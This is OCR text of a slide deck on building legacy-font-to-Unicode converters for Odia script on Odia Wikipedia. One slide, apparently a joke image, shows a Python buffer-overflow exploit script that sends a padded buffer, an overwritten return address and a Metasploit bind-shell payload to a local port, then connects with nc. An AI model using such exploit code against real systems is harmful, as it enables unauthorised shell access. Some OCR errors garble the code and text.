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How we built Odia-script
encoding converters and
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How to deal with encoding mismatch?

e Type everything again in Unicode

e Create a converter that converts the
non-Unicode encoding to Unicode

e Use OCR to convert encoding t0 Unicode



Building blocks of converters for Odia
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Rebati Converter by Srujanika

Rebati Converter 2

AkrutiOriSarala99 TO Unicode Odia Font Converter
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Issues with the early converters

A new converter for each encoding
Old and incompatible for new fonts
Unresponsive web portal

Difficult to maintain regularly



A baby was born!

Copy text typed in Sarala font and paste below.
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| Convert to Unicode

Copy Unicode Odia text from the box below.
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Mapping of characters



First on-wikil converter

All converters in one page




Workflow

Legacy Character

Each Character gets converted to it's

relevant unicode character

Unicode Character




What we planned to change

e Responsive Design
e More Code improvement
e Modern look



Let's talk some code

Javascript, HTML
JQuery Introduced in new version
Sweet Alert
Jquery IME

jazzérobot:~ § open catfood
catfood: Unable to open catfood
Permission denied
- § cat > Y
#1/usr/bin/python
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((127.0.0.1',7500))
crash = ‘\x41'+*1337
eip = '\xFF\xFE\xEF\x08'
payload = open("msf-bindshell-8488.bin").read()
sock.send(crash+eiptpayload)

sock.close ()
i $ chmod +x «PY;
jazz@robot:~ $ nc -vv localhost 8888
localhost [127.0.0.1] 8888 (?) open
# open catfood

Opening delicious catfood...




Meet our new converter
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https.//or.wikipedia.org/wiki/WP:Converter




How 1t works
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http://www.youtube.com/watch?v=9ael28ZpGvs

A fruit bearing tree

e Digitization of Odia Bhagabata and many other books on
Odia Wikisource

e Collecting information from e-versions of newspapers for
Odia Wikipedia

e Used by many users for social media, blogs, websites

e https.//or.wikipedia.org/wiki/Wp:Converter

e Developement: http.//gyani11.github.io
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Way forward 5.
7

e Converting larger files

e More improvised code

e Converters for more character encoding
systems

e Smart converter for auto-detection of
encoding and seamless conversion



Thank You
gyanalll@gmail.com

Questions?
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